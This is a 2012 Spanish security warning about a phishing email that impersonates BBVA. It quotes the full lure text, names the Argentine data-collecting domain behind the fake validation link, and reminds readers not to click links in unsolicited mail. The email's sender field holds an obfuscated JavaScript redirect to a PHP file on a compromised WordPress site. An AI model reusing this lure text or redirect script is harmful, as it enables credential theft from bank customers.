Otro falso mail del BBVA con enlace a phishing desde una web Argentina

Se está recibiendo masivamente mail similar a este:

mail malicioso:
______________
Asunto:  BBVA – Mensaje Automatico
Fecha:  Sat, 23 Jun 2012 15:56:14 +0200
De:  BBVA NET <$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to:servicio@bbva.es”>servicio@bbva.es
Para:  <destinatario>
Estimado cliente,

Nos dirigimos a usted para informarle que su clave de operaciones BBVA Net no ha sido cambiada y ha vencido el día 23/06/2012. Para una mayor seguridad su cuenta online ha sido suspendida temporalmente hasta que se genere una nueva clave.

Con el fin de solucionar esta irregularidad le rogamos que acceda al enlace que a continuación le facilitamos para comprobar su identidad y reactivar su cuenta.

BBVA – Validación:
https://bbva.es/formulario_validacion/    <— enlace malicioso a www.graficacogtal.com.ar

Banco BBVA le agradece de nuevo su confianza.
Atentamente,

BBVA
Dpto. Incidencias
Tel. 902 18 18 18
Correo:
Banco Bilbao Vizcaya Argentaria S.A. – 2012

* Una vez completado el formulario de comprobación de datos, recibirá por escrito en un plazo máximo de 7 días hábiles un correo ordinario con su nueva clave de operaciones BBVA net junto con el contrato de Servicio BBVA net. Para cualquier información no dude en contactar con nosotros a través de nuestro correo electrónico .

______________________
fin del mail malicioso

El enlace malicioso redirige a :
graficacogtal.com.ar.  AR  Argentina  21  Santa Fe  Rosario
-32.9468  -60.6393  Dattatec.com

Al pulsar en el enlace malicioso presenta página de recogida de datos

Se recuerda que nunca se ha de ejecutar ficheros anexados a mails no solicitados, ni pulsar en enlaces o imagenes de dichos mails
saludos

ms, 25-6-2012